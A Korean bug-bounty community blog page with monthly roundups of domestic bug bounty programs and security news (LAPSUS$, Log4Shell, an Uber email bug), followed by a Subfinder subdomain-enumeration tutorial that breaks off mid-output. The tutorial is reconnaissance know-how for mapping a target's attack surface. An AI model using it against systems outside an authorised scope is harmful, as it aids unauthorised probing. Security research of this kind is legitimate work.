Blog


버그바운티 클럽이 전해드리는 이야기를 확인하세요.



[BIG SHOT] 국내 버그바운티 프로그램 소개 - 2022년 4월

2022년 4월을 위한 빅샷입니다. 몇 개의 소식을 전하면서 시작해 봅니다.과기정통부, 보안 취약점 정보포탈 서비스 개시[이미지: 사이버 보안 취약점 정보포탈 스크린샷]과기정통부에서 한국인터넷진흥원과 함께 "보안 취약점 정보포탈"을 개설하여 3월 24일부터 서비스를 개시하였습니다. 취약점 정보포탈은 국내·외 보안 취약점을 체계적으로 수집·관리하고 수집된 정보를 다양한 이용자가 편리하게 확인·개선하기 위한 목적으로 탄생했습니다. 지금까지는 취약점 정보가 각 소프트웨어 제조사의 홈페이지에 개별적으로 게시되어 이용자들이 취약점을 신속하게 확인하고 조치하는데 한계가 있었던 반면 이제는 여기저기 찾아다닐 것 없이 취약점 정보포탈을 통해 보안 공지나 취약점 정보를 한 번에 모아 볼 수 있도록 하여 이용자들의 편리성과 접근성을 향상시킨 점은 매우 긍정적으로 보입니다. 또한 "핵더챌린지" 플랫폼을 취약점 정보포탈내에서 운영함으로써 화이트해커를 통한 취약점 발굴부터 조치하기까지의 과정을 체계적으로 관리하여 사이버 위협에 대한 역량을 강화할 수 있을 것으로 보입니다.[이미지: 과학기술정보통신부]악명을 떨치고 있는 해킹 그룹, 랩서스(LAPSUS$)[이미지: 네이키드 시큐리티]지난 한 달동안 업계를 가장 떠들썩하게 한 이슈는 주요 IT기업들을 해킹하고 기밀 데이타를 공개한 랩서스(LAPSUS$) 해킹 그룹일 것입니다. 국내 기업인 삼성전자와 LG전자는 물론 마이크로소프트, 엔비디아를 비롯한 여러 글로벌 IT기업들이 이들의 해킹 수법에 속수무책으로 당했습니다. 이들은 SNS를 통해 적극적으로 활동하고 있지만 이들의 정보는 여전히 극히 제한적이며 유명세에 고무되어 향후 더 활발히 활동할 가능성이 높을 것으로 보고 있습니다. 이들은 해킹을 위해 사회공학기법에 유독 집중하는 모습을 보였는데요. 타겟이 되는 기업 직원이나 파트너사 직원들을 통해 자격증명을 구매하거나 헬프데스크에 직접 전화를 하여 추가 정보를 알아내기도 했습니다. 심지어 해킹을 당한 기업의 사고 대응을 위한 줌(Zoom) 미팅에 참여하여 동태를 살피고 조롱하는 등 매우 과감하고 뻔뻔한 방법을 이용했다고 합니다. 아무튼 랩서스가 어떤 해킹 그룹이고 무슨 활동을 해왔는지가 궁금하시다면 S2W의 블로그에서 Footsteps of the LAPSUS$ 글을 참고해보시기 바랍니다. 며칠 전 영국 경찰은 랩서스와 관련된 7명을 체포하여 조사하고 귀가 조치했다고 밝히고, 옥스포드에 거주하는 16세 소년이 랩서스의 주요 인물이라고 보고 있다고 밝혔지만 이에 랩서스는 텔레그램을 통해 랩서스 멤버 중 그 누구도 체포되지 않았다고 반박했다고 하네요. 해커원, 카스퍼스키 버그바운티 프로그램 중단[이미지: 해커원]해커원에서 시행 중이던 카스퍼스키(Kaspersky)의 버그바운티 프로그램이 무기한 중단되었습니다. 카스퍼스키는 러시아의 안티바이러스 프로그램 업체입니다. 해커원의 이러한 조치는 러시아의 우크라이나 침공으로 인한 미국의 금융제재에 따른 것으로 보여집니다. 카스퍼스키는 해커원이 어떠한 사전 통보도 없이 일방적으로 중단했다고 밝히며 해커원으로부터 중단된 이유를 명확히 듣지 못했다고 주장했습니다. 또한 해커원의 일방적인 행태를 용납할 수 없다고 비판했으나 개인적으로는 푸틴의 전쟁이 계속되는한 프로그램이 다시 열리진 않을 것 같네요. 2022년 4월 국내 버그바운티 프로그램※ 소개되는 버그바운티 프로그램은 프로그램 시작일과 프로그램 시행 기간을 고려하여 선정됩니다. "신규"는 프로그램 시작일을 기준으로 당월에 새롭게 시작된 프로그램을 뜻하며, "기존"은 프로그램을 시행한지 오래되었더라도 글 작성 시점 기준으로 12개월 이내에 시작되고 시행기간이 유효한 프로그램을 의미합니다. ■ 신규 프로그램: 1건노르마 회사 홈페이지제공 플랫폼: 버그캠프기간: 2022년 3월 17일 -   최대 현상금: 1,000,000원타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/4ee8a46bd9b7dd2882b2b41f6d6bc0db■ 기존 프로그램: 19건BIFROST제공 플랫폼: 패치데이기간: 2022년 2월 7일 - 2023년 2월 7일  최대 현상금: 50,000,000원타겟 시스템 유형: BiFi, BiFi X, BiFi BTC Extension 스마트 컨트랙트의 최신버전 소스코드프로그램 URL: https://patchday.io/bifrost-pilab/bifrostKlaytn Blockchain제공 플랫폼: 패치데이기간: 2022년 1월 12일 - 2023년 1월 12일  최대 현상금: 50,000,000원타겟 시스템 유형: Klaytn 노드 및 스마트 컨트랙트의 소스코드, 블록체인 노드프로그램 URL: https://patchday.io/klaytn/klaytn-blockchainSamsung SDS 웹사이트제공 플랫폼: 해킹존기간: 2021년 6월 30일 - 2022년 12월 31일 최대 현상금: 10,000,000원타겟 시스템 유형: 웹 프로그램 URL: https://hackingzone.net/ProgramDetail/VTJGc2RHVmtYMThNWXg3OGRGNnltR3FGSEY4OURXeC9LRFZFK3kwVHdsbz0= (로그인 후 확인 가능)Samsung SDS 고객지원포탈제공 플랫폼: 해킹존기간: 2021년 6월 30일 - 2022년 12월 31일 최대 현상금: 10,000,000원타겟 시스템 유형: 웹 프로그램 URL: https://hackingzone.net/ProgramDetail/VTJGc2RHVmtYMStXKys5NWxKRXFLUkpHbkdiQXQzODBDcVlQMUV6Wkxzbz0= (로그인 후 확인 가능)Samsung Smart Lock제공 플랫폼: 해킹존기간: 2021년 6월 30일 - 2022년 12월 31일 최대 현상금: 10,000,000원타겟 시스템 유형: 시판중인 Push Pull 도어록(12종) 외 관련 ‘삼성 스마트 도어록’ Mobile App 및 디바이스 플랫폼 프로그램 URL: https://hackingzone.net/ProgramDetail/VTJGc2RHVmtYMStHUU44a015V2d5OGtVc0l6S24wNlEvU1c0bnNCQmR6Zz0= (로그인 후 확인 가능)엔큐리티제공 플랫폼: 버그캠프기간: 2021년 10월 12일 - 최대 현상금: 0원타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/4be6ca31e4e7777e989d13efcf858c13(주)내스타일제공 플랫폼: 버그캠프기간: 2021년 10월 13일 - 최대 현상금: 0원타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/42f84873c958644cb121e2a5af0d9457TARGOS제공 플랫폼: 버그캠프기간: 2021년 10월 19일 - 최대 현상금: 0원타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/42a3639e491c069da8be40a8d15df4f5찜 어플리케이션제공 플랫폼: 버그캠프기간: 2021년 10월 24일 - 최대 현상금: 0원타겟 시스템 유형: 모바일프로그램 URL: https://bugcamp.io/programs/48059806ce94fc0184b9d61d491de51c주식회사 스패로우제공 플랫폼: 버그캠프기간: 2021년 10월 25일 - 최대 현상금: 0원타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/49e3c23aa416ca8aa6b21fdc0b933a3eCodeEngn 대표 홈페이지제공 플랫폼: 버그캠프기간: 2021년 6월 10일 - 최대 현상금: 500,000원타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/4d39f5f7058e3a6089a17e1beae024ab 한국CISSP협회 대표 홈페이지제공 플랫폼: 버그캠프기간: 2021년 6월 7일 -최대 현상금: 100,000원타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/4ca1fd4c425ccca6ba9d90911a5dd908Remote Browser제공 플랫폼: 버그캠프기간: 2021년 7월 21일 -최대 현상금: 500,000원타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/475e65db7e2b11c68ac1d7aeeea1bae2Webhacking.kr제공 플랫폼: 버그캠프기간: 2021년 8월 2일 부터최대 현상금: 1,500,000원 타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/441035cefaf0279ab99189ea3433443dNaver Whale제공 플랫폼: 패치데이기간: 2021년 10월 25일 - 최대 현상금: USD $7,500타겟 시스템 유형: 소프트웨어(네이버 웨일브라우저)프로그램 URL: https://patchday.io/naver/naver-whalePatchDay제공 플랫폼: 패치데이기간: 2021년 10월 5일 - 최대 현상금: 2,000,000원타겟 시스템 유형: 웹프로그램 URL: https://patchday.io/theori/patchday/Dreamhack제공 플랫폼: 패치데이기간: 2021년 10월 5일 - 최대 현상금: 2,000,000원타겟 시스템 유형: 웹프로그램 URL: https://patchday.io/theori/dreamhack수산아이엔티제공 플랫폼: 버그캠프기간: 2021년 10월 27일 - 최대 현상금: 0원타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/4a35dad2cc737abcb5935dfd67c15759스마트 안심케어제공 플랫폼: 버그캠프기간: 2021년 11월 22일 - 최대 현상금: 0원타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/49b1cee7bb158f4ea9ebe4f7e74739e3
 2022-03-28 11:02 KST      1223

[BIG SHOT] 국내 버그바운티 프로그램 소개 - 2022년 2월

새해들어 처음으로 쓰는 빅샷입니다. 아쉽게도 국내 버그바운티 관련 소식 중 마땅한게 없어 개인적으로 흥미를 느꼈던 해외 소식으로 시작해봅니다. 수년간 방치된 우버의 버그(이미지 출처: 우버)우버(Uber)의 버그 중 하나가 수년째 방치되고 있다가 최근 미국 언론에서 이 문제에 대해 다루기 시작하자 마침내 조치를 한 것으로 보입니다.  우버는 스마트폰을 기반으로 한 미국 최대의 승차 공유 서비스입니다. 이 버그는 우버의 내부 API에 존재하는 HTML 인젝션 취약점을 통해 우버의 공식 이메일 시스템(SendGrid:기업의 이메일 전송을 지원하는 클라우드 기반 서비스)에서 임의로 이메일을 발송할 수 있는 버그입니다. 우버가 2016년에 회원정보 유출을 겪었던 점을 고려하면 악의적인 공격자가 유출된 회원정보를 대상으로 사회공학 이메일을 보낼 수 있으므로 이 문제는 더욱 심각하게 받아들였어야 합니다. 하지만 우버는 그러지 않았습니다. 우버는 해커원이라는 버그바운티 플랫폼을 통해 버그바운티 프로그램을 운영하고 있습니다. 그것도 수년째 운영하며 매년 적지 않은 비용을 지불하고 있는데 왜 이런 일이 발생했을까요? 사실 2015년부터 2021년까지 여러 보안연구원들이 이 버그에 대해 몇 차례 경고하였으나 해커원의 분류팀에 의해 이 버그는 아래의 사유를 이유로 "범위에서 벗어남"으로 분류되어 버렸습니다. 우버의 버그바운티 프로그램 정책 스크린샷 (이미지 출처: 해커원)많은 버그바운티 플랫폼 회사는 쓰나미처럼 밀려오는 버그 보고서를 감당하기 어려운 프로그램 운영사를 대신해 보고서를 분류해주는 서비스를 제공합니다. 버그바운티 플랫폼에서 버그를 보고한 보안연구원과 1차적으로 소통하면서 버그에 대해 검증, 심각도 결정, 무효 버그에 대한 거부 등 보고서 수신 이후의 적절한 대응을 한다고 보면 됩니다. 해커원의 Hackerone Triage 서비스가 대표적입니다. 이번 우버의 문제는 해커원의 보고서 분류 실수가 큰 것 같습니다. 이번 일로 우버의 버그 외에도 버그바운티 플랫폼이 제공하는 분류 서비스의 취약점 또한 드러난 셈입니다. 사람이 하는 일에 완벽이란 없겠지만 미연에 방지할 수 있는 사고임에도 자칫 분류를 잘못하여 더 큰 사고로 이어진다면 피해는 고스란히 사용자의 몫이 되겠죠. 이 사례에 비추어 봤을 때 버그바운티 플랫폼 운영사에서도 제출된 보고서는 다양한 상황과 이미 발견된 다른 버그들과의 연계성 등을 고려하여 시나리오 기반으로 영향도를 분석하여 분류하는 시스템과 프로세스가 필요하지 않을까 생각해봅니다. 국내 버그바운티 플랫폼들도 우버와 같은 유사 사례가 남지 않도록 고민하고 주의를 기울여야 할 부분인 것 같네요.테슬라 자동차를 원격제어할 수 있는 보안 결함(이미지 출처: 경향신문 기사)며칠 전 10대 보안연구원 David Colombo(@david_colombo)에 의해 25개 이상의 테슬라 차량을 원격제어할 수 있는 보안 결함이 공개되었습니다. 사실 이 결함은 테슬라 자체의 문제가 아니고 차량 소유자가 주로 사용하는 서드파티 도구, 테슬라메이트(TeslaMate)라는 오픈소스 로깅 소프트웨어에서 발견된 결함입니다. 테슬라메이트는 차량 데이터와 연동된 웹 환경의 대시보드가 제공됩니다. 그러나 테슬라메이트에 존재하는 인증 결함 및 차량 소유자의 구성 실수로 인해 최소 백개 이상의 대시보드가 인터넷에 그대로 노출되었고 이 안에는 차량을 원격제어할 수 있는 API 키가 포함되어 있었습니다. 즉 시동 걸기/끄기, 창문잠그기, 경적울리기 등 차량의 일부 기능에 대한 원격 제어가 가능했습니다. 이 결함은 조치되었고 결함을 발견한 David Colombo는 더 이상 결함을 악용하지 못하게 된 이후 자신의 블로그에 공개하였습니다.  오픈소스 솔루션의 버그 잡기에 나선 유럽연합(EU)유럽연합에서 5개의 오픈소스 소프트웨어에 대한 버그 바운티를 실시한다고 합니다. 이번 오픈소스 버그바운티는 버그바운티 플랫폼인 Intigriti를 통해 진행되었습니다.EU launches bug bounty programs for five open source solutions유럽연합의 이와 같은 시도는 이번이 처음은 아니고 이미 수차례 진행된 바 있습니다. 얼마 전에는 구글에서 향후 10년간은 오픈소스 소프트웨어의 버그를 찾는데 기여하겠다는 기사가 보도된 적도 있었습니다. 해커원을 비롯한 몇몇 단체들로 구성되어 진행중인 IBB(Internet Bug Bounty) 또한 오픈소스 소프트웨어의 보안을 위한 프로젝트 중 하나입니다. 이와 같은 움직임은 오픈소스 소프트웨어에 대한 중요성을 인식하고 있다는 방증이지 않을까 싶습니다. 오픈소스 소프트웨어의 보안 취약점을 찾고 고치기 위한 노력의 중요성은 지난 달 터진 log4shell 사태로 인해 그 어느 때보다 많은 분들이 통감하고 계실 것 같습니다. 하지만 이런 인식과 노력에도 불구하고 잊을만하면 한번씩 크게 터집니다. log4shell 이전에도 비슷한 수준으로 전 세계적 파장을 불러 일으켰던 사건이 있었습니다. OpenSSL에서 발견된 heartbleed(하트블리드)를 잊지 않으셨을 겁니다. OpenSSL도 역시 오픈소스 소프트웨어입니다. 사실 오픈소스 생태계를 이끌고 있는 분들의 인터뷰를 보면 참담합니다. 물론 누군가는 좋아서 취미삼아 하는 일일 수 있지만 본인이 개발한 오픈소스 소프트웨어가 널리 보급되어 있다면 개발자에게는 그에 따른 책임과 의무가 생기게 됩니다. 오픈소스 소프트웨어의 개발과 유지보수 및 보안을 위한 인력은 극히 제한적입니다. 자발적으로 기여하겠다고 나선 사람들도 있지만 과연 얼마나 많을까요? 그리고 이들 또한 대부분 생계 유지를 위한 생업이 따로 있다는 점을 잊지말아야 합니다. 이들은 모두 없는 시간 쪼개어 밤잠 설쳐가며 오픈소스 소프트웨어를 개발합니다. 보안 사고라도 터지면 수습을 위해 이들이 보낼 몇 달은 말할 것도 없겠네요. 생업에도 부정적인 영향이 있을 수 있습니다. 개발자는 결국 시간에 쪼들리고 돈에 쪼들리는 등 현실적인 문제에 부딪히다가 오픈소스 소프트웨어를 유료화로 전환하거나 역사의 뒤안길로 사라지게 합니다. 우리는 오픈소스 소프트웨어의 보안 사고로부터 어떤 교훈을 얻어야할까요? 이제 우리는 그들의 희생과 노력에 감사한 마음만 갖고 라이센스를 준수하며 사용하는 것만으로 보답을 다 했다고 생각해서는 안될 것입니다. 오픈소스 소프트웨어를 비즈니스에 활용하는 기업들이 전세계적으로 계속 증가하고 있고 오픈소스 소프트웨어의 보안 결함에 대한 영향력은 커질 수 밖에 없습니다. 이런 추세에 맞게 공격자들은 오픈소스 소프트웨어를 공격 대상으로 더 선호하게 되었습니다. 오픈소스 소프트웨어를 적극적으로 활용하는 정부와 기업에서는 건전한 오픈소스 소프트웨어의 생태계와 해커로부터 안전한 오픈소스 소프트웨어의 개발을 위해 현실적으로 도움이 되는 투자와 지원을 해야하지 않을까요? 한번 생각해 볼 문제입니다.2022년 2월 국내 버그바운티 프로그램※ 소개되는 버그바운티 프로그램은 프로그램 시작일과 프로그램 시행 기간을 고려하여 선정됩니다. "신규"는 프로그램 시작일을 기준으로 당월에 새롭게 시작된 프로그램을 뜻하며, "기존"은 프로그램을 시행한지 오래되었더라도 글 작성 시점 기준으로 12개월 이내에 시작되고 시행기간이 유효한 프로그램을 의미합니다. ■ 신규 프로그램: 1건Klaytn Blockchain제공 플랫폼: 패치데이기간: 2022년 1월 12일 - 2023년 1월 12일  최대 현상금: 50,000,000원타겟 시스템 유형: Klaytn 노드 및 스마트 컨트랙트의 소스코드, 블록체인 노드프로그램 URL: https://patchday.io/klaytn/klaytn-blockchain■ 기존 프로그램: 14건엔큐리티제공 플랫폼: 버그캠프기간: 2021년 10월 12일 - 최대 현상금: 0원타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/4be6ca31e4e7777e989d13efcf858c13(주)내스타일제공 플랫폼: 버그캠프기간: 2021년 10월 13일 - 최대 현상금: 0원타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/42f84873c958644cb121e2a5af0d9457TARGOS제공 플랫폼: 버그캠프기간: 2021년 10월 19일 - 최대 현상금: 0원타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/42a3639e491c069da8be40a8d15df4f5찜 어플리케이션제공 플랫폼: 버그캠프기간: 2021년 10월 24일 - 최대 현상금: 0원타겟 시스템 유형: 모바일프로그램 URL: https://bugcamp.io/programs/48059806ce94fc0184b9d61d491de51c주식회사 스패로우제공 플랫폼: 버그캠프기간: 2021년 10월 25일 - 최대 현상금: 0원타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/49e3c23aa416ca8aa6b21fdc0b933a3eCodeEngn제공 플랫폼: 버그캠프기간: 2021년 6월 10일 - 최대 현상금: 500,000원타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/4d39f5f7058e3a6089a17e1beae024ab 한국CISSP협회 대표홈페이지제공 플랫폼: 버그캠프기간: 2021년 6월 7일 -최대 현상금: 100,000원타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/4ca1fd4c425ccca6ba9d90911a5dd908Remote Browser제공 플랫폼: 버그캠프기간: 2021년 7월 21일 -최대 현상금: 500,000원타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/475e65db7e2b11c68ac1d7aeeea1bae2Webhacking.kr제공 플랫폼: 버그캠프기간: 2021년 8월 2일 부터최대 현상금: 1,500,000원 타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/441035cefaf0279ab99189ea3433443dNaver Whale제공 플랫폼: 패치데이기간: 2021년 10월 25일 - 최대 현상금: USD $7,500타겟 시스템 유형: 소프트웨어(네이버 웨일브라우저)프로그램 URL: https://patchday.io/naver/naver-whalePatchDay제공 플랫폼: 패치데이기간: 2021년 10월 5일 - 최대 현상금: 2,000,000원타겟 시스템 유형: 웹프로그램 URL: https://patchday.io/theori/patchday/Dreamhack제공 플랫폼: 패치데이기간: 2021년 10월 5일 - 최대 현상금: 2,000,000원타겟 시스템 유형: 웹프로그램 URL: https://patchday.io/theori/dreamhack수산아이엔티제공 플랫폼: 버그캠프기간: 2021년 10월 27일 - 최대 현상금: 0원타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/4a35dad2cc737abcb5935dfd67c15759스마트 안심케어제공 플랫폼: 버그캠프기간: 2021년 11월 22일 - 최대 현상금: 0원타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/49b1cee7bb158f4ea9ebe4f7e74739e3
 2022-01-27 08:32 KST      1510

[BIG SHOT] 국내 버그바운티 프로그램 소개 - 2022년 1월

12월 한달 간 해킹과 관련된 사건/사고의 이슈를 꼽자면 단연 Log4j 제로데이 RCE 취약점(CVE-2021-44228)일 것입니다. 보안담당자는 물론이거니와 IT와 관련된 업무나 공부를 하고 계신 분들은 아마 낯설지 않을 것 입니다. 이 취약점은 Log4Shell이라는 이름으로 불리기도 하며 CVSS 10점의 심각도 최고 수준으로 평가 받았습니다. 공격의 대상이 되는 log4j는 전세계 대다수의 대기업과 정부기관에서 사용하고 있어 공격의 파급력 또한 상당하다고 볼 수 있습니다. Log4j 취약점은 아파치 서버의 Log4j에 존재하는 JNDI 인젝션 취약점으로 이 취약점을 악용하면 공격자는 서버에서 악의적인 원격 코드를 실행할 수 있으며 공격 과정 또한 상대적으로 쉬우므로 현재도 활발히 공격이 진행되고 있습니다. 이미 국내외의 많은 기관과 매체에서 위험성을 알리며 대책을 강구하고 있으며 계속해서 긴급 패치를 내놓고 있으나 공격자들은 패치를 우회하며 공격 방식을 진화시키고 있는 실정인 듯 하네요. 기업이나 공공기관들은 내부적으로 Log4j가 사용되는 시스템을 일일이 찾아내는 것도 쉽지 않은 일이며 계속해서 진화하는 공격 방식에 일일이 대응하기에는 역부족이라고 말하며 이번 사태가 매우 심각한 상황임을 증명했습니다. 안타깝게도 현재로써는 Log4j 취약점은 근시일내에 진화될 것 같아 보이지 않습니다.하지만 Log4j 취약점이 공개된 이후 전세계의 버그바운티 헌터들도 트위터나 블로그를 통해 테스트 가이드를 공유해가며 발빠르게 움직이고 있습니다. 아래는 인터넷에서 공유되고 있는 자료이니 참고해보세요.Log4shell Zero-Day Exploit— Full GuideLog4Shell Remediation Cheat SheetLog4Shell Mindmap 실제로 PortSwigger의 Daily Swig에 올라온 글에 따르면 HackerOne, Bugcrowd 등의 버그바운티 플랫폼을 통해 수천건의 Log4j 취약점 보고서가 제출되고 평가되었다고 합니다."버그가 공개된 지 2주가 채 되지 않아 500명 이상의 해커가 HackerOne에서만 400개 이상의 프로그램에서 1,700개에 가까운 보고서를 제출했다고 Daily Swig에 말했습니다. 플랫폼에 따르면 "초기 피크" 제출일에 해커의 거의 30%가 밤쉘(BombShell) 버그라는 별명이 붙은 'Log4Shell'과 관련된 취약점 보고서를 제출했습니다. HackerOne의 관련 지불금은 지금까지 총 $249,500입니다. 미국에 본사를 둔 동종 플랫폼 Bugcrowd는 위기가 발생한 이후 수천 건의 Log4j 관련 제출을 검증하고 분류 했다고 말했습니다. 파리에 기반을 둔 버그 현상금 플랫폼 YesWeHack은 12월 9일 Log4Shell이 ​​공개된 후 첫 주 동안 140건의 보고서를 받았다고 말합니다. 공개 후 주말 동안 또 다른 유럽의 버그바운티 플랫폼 Intigriti는 130개 이상의 보고서를 평가했다고 말했습니다."  (구글 번역 이용)(원문 링크: Bug bounty platforms handling thousands of Log4j vulnerability reports) HackerOne의 Log4Shell 제출 추이와 관련된 트윗 (12/21 일자 트윗) 또한 버그바운티 헌터가 주로 사용하는 ZAP이나 BurpSuite 프록시에도 관련 룰이나 도구를 빠르게 추가하면서 버그바운티 헌터들이 Log4Shell 취약점을 보다 수월하게 찾을 수 있도록 했습니다. 이번 사태를 통해 떠오르는 생각은 조직의 내부 인력과 자원의 한계가 명백한 상황에서는 버그바운티가 사태 해결의 부담을 일부 덜어줄 수도 있을 수 있겠다는 것입니다. 물론 조직이 포상금을 줄 수 있는 자금력이 충분하느냐는 문제가 있긴 하지만 이번과 같은 전 세계적 긴급 상황에서는 버그바운티 헌터들도 금전적 이익은 뒤로 한채 사회 공헌 차원에서 자기의 시간을 선뜻 내어주고 감사 인사에 보람을 느끼는 버그바운티 헌터들도 많이 있을테니까요. 여하튼 버그바운티를 통해 전 세계에 걸쳐있는 수천, 수만의 선의의 해커 집단을 활용하면 Log4Shell 사태를 좀 더 빠르고 효과적으로 대응할 수 있지 않을까 생각해봅니다. Log4Shell과 오미크론의 위협속에서도 여러분의 성탄절과 연말은 반드시 즐겁고 행복하시길 바랍니다. 2022년 1월 국내 버그바운티 프로그램※ 소개되는 버그바운티 프로그램은 프로그램 시작일과 프로그램 시행 기간을 고려하여 선정됩니다. "신규"는 프로그램 시작일을 기준으로 당월에 새롭게 시작된 프로그램을 뜻하며, "기존"은 프로그램을 시행한지 오래되었더라도 글 작성 시점 기준으로 12개월 이내에 시작되고 시행기간이 유효한 프로그램을 의미합니다. ■ 신규 프로그램: 0건※ 정식 신규 프로그램은 없으며 해킹존에서 크리스마스를 맞아 이벤트 프로그램을 진행합니다.     Hackingzone X-MAS {CAPTURE THE BUG} (이벤트 상세내용은 해킹존 홈페이지에서 확인)■ 기존 프로그램: 14건엔큐리티제공 플랫폼: 버그캠프기간: 2021년 10월 12일 - 최대 현상금: 0원타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/4be6ca31e4e7777e989d13efcf858c13(주)내스타일제공 플랫폼: 버그캠프기간: 2021년 10월 13일 - 최대 현상금: 0원타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/42f84873c958644cb121e2a5af0d9457TARGOS제공 플랫폼: 버그캠프기간: 2021년 10월 19일 - 최대 현상금: 0원타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/42a3639e491c069da8be40a8d15df4f5찜 어플리케이션제공 플랫폼: 버그캠프기간: 2021년 10월 24일 - 최대 현상금: 0원타겟 시스템 유형: 모바일프로그램 URL: https://bugcamp.io/programs/48059806ce94fc0184b9d61d491de51c주식회사 스패로우제공 플랫폼: 버그캠프기간: 2021년 10월 25일 - 최대 현상금: 0원타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/49e3c23aa416ca8aa6b21fdc0b933a3eCodeEngn제공 플랫폼: 버그캠프기간: 2021년 6월 10일 - 최대 현상금: 500,000원타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/4d39f5f7058e3a6089a17e1beae024ab 한국CISSP협회 대표홈페이지제공 플랫폼: 버그캠프기간: 2021년 6월 7일 -최대 현상금: 100,000원타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/4ca1fd4c425ccca6ba9d90911a5dd908Remote Browser제공 플랫폼: 버그캠프기간: 2021년 7월 21일 -최대 현상금: 500,000원타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/475e65db7e2b11c68ac1d7aeeea1bae2Webhacking.kr제공 플랫폼: 버그캠프기간: 2021년 8월 2일 부터최대 현상금: 1,500,000원 타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/441035cefaf0279ab99189ea3433443dNaver Whale제공 플랫폼: 패치데이기간: 2021년 10월 25일 - 최대 현상금: USD $7,500타겟 시스템 유형: 소프트웨어(네이버 웨일브라우저)프로그램 URL: https://patchday.io/naver/naver-whalePatchDay제공 플랫폼: 패치데이기간: 2021년 10월 5일 - 최대 현상금: 2,000,000원타겟 시스템 유형: 웹프로그램 URL: https://patchday.io/theori/patchday/Dreamhack제공 플랫폼: 패치데이기간: 2021년 10월 5일 - 최대 현상금: 2,000,000원타겟 시스템 유형: 웹프로그램 URL: https://patchday.io/theori/dreamhack수산아이엔티제공 플랫폼: 버그캠프기간: 2021년 10월 27일 - 최대 현상금: 0원타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/4a35dad2cc737abcb5935dfd67c15759스마트 안심케어제공 플랫폼: 버그캠프기간: 2021년 11월 22일 - 최대 현상금: 0원타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/49b1cee7bb158f4ea9ebe4f7e74739e3
 2021-12-23 08:29 KST      1194

[해킹 도구를 소개합니다 #2] Subfinder: 하위도메인 열거 도구

이번 해도소 코너에서 우리가 소개해드릴 도구는 Subfinder 입니다.Subfinder는 Project Discovery라는 해커와 개발자의 업무 자동화에 필요한 오픈소스 소프트웨어를 개발하는 회사에서 만든 프로그램입니다. 이 도구는 해커가 테스트하려는 타겟 도메인의 잠재적인 하위 도메인을 찾아주는 하위 도메인 열거 도구입니다. 보통 하위 도메인 열거는 정찰, 정보 수집이라고 불리는 초기 단계에서 수행하는 작업으로 취약점을 찾을 수 있는 공격 표면을 확장하고 잠재적으로 취약한 엔드포인트를 발견할 수 있는 확률을 높여주므로 매우 중요한 작업입니다. 이에 우리는 하위 도메인 열거 도구 중 하나인 Subfinder를 소개하기로 결정했습니다. Subfinder 외에도 다양한 하위 도메인 열거 도구가 존재하며 다른 도구들은 Weapons에서 확인이 가능합니다. 설치Subfinder를 설치하기 위해서는 go1.14+가 필요하며 go를 설치하셨다고 가정합니다. Subfinder를 설치할 수 있는 방법은 다음과 같습니다.go를 통한 직접 설치go get -v github.com/projectdiscovery/subfinder/cmd/subfindertar 또는 zip 파일을 통한 설치https://github.com/projectdiscovery/subfinder/releases/ 로 이동하셔서 본인의 환경을 고려해 원하시는 버전을 검토합니다.다음 명령을 통해 Subfinder를 다운로드 받습니다. wget https://github.com/projectdiscovery/subfinder/releases/download/v2.4.8/subfinder_2.4.8_linux_amd64.tar.gztar -zxvf subfinder_2.4.8_linux_amd64.tar.gzmv subfinder /usr/bin/subfinder설치가 끝났다면 다음 명령으로 Subfinder를 실행해봅니다../subfinder아래와 같은 출력화면이 표시된다면 정상적으로 설치가 된 것입니다.출력 화면수동 소스 API 키 설정위의 설치 과정만으로도 Subfinder는 정상적으로 동작합니다. 하지만 Subfinder에서 지원하는 Binaryedge, Certspotter, Censys, Virustotal과 같은 수동 소스의 API 키를 설정해주시면 다양한 수동 소스를 통해 더욱 많은 하위도메인을 찾을 가능성이 높아집니다.수동 소스의 API 키를 설정하기 위해서 $HOME/.config/subfinder/config.yaml 파일을 열어 아래와 같은 내용을 찾습니다. binaryedge: []censys: []certspotter: []chaos: []dnsdb: []github: []intelx: []passivetotal: []recon: []robtex: []securitytrails: []shodan: []spyse: []threatbook: []urlscan: []virustotal: []zoomeye: []그리고 본인이 사용하고자하는 소스의 [ ] 안에 본인의 API 키를 입력합니다. 예를 들면 다음과 같습니다....생략...virustotal: [Enter_your_api_key_here]...생략...사용법단일 도메인 대상 하위 도메인 열거-d 옵션을 사용하면 테스트하고자 하는 타겟에 대해 하위 도메인을 열거할 수 있습니다. 이것은 가장 기본적이고 간단한 사용법입니다../subfinder -d target.com다음은 트위터를 대상으로 실행한 결과입니다. $ ./subfinder -d twitter.com               __    _____           __            _______  __/ /_  / __(_)___  ____/ /__  _____  / ___/ / / / __ \/ /_/ / __ \/ __  / 